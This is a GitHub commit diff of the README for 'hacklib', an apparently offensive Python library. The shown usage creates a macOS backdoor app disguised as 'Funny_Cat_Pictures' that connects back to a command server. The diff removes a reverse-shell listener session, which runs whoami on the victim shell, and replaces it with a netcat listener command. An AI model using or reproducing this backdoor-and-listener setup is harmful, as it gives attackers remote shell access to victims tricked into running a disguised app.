1 parent 0def061 commit c2e7df9Copy full SHA for c2e7df9
1 file changed
README.md
@@ -50,22 +50,8 @@ bd = hacklib.Backdoor()
50
bd.create('127.0.0.1', 9090, 'OSX', 'Funny_Cat_Pictures')
51
# Takes the IP and port of the command server, the OS of the target, and the name of the .app
52
```
53
--
54
55
-Shell listener (Use in conjunction with the backdoor):
56
-```python
57
-import hacklib
58
-# Create instance of Server with the listening port
59
->>> s = hacklib.Server(9090)
60
->>> s.listen()
61
-New connection ('127.0.0.1', 51101)
62
-bash: no job control in this shell
63
-bash-3.2$ whoami
64
-leon
65
-bash-3.2$
66
-# Sweet!
67
-```
68
-In addition, you can also listen with netcat:
+Listen for connections with netcat:
69
70
nc -l 9090
71
0 commit comments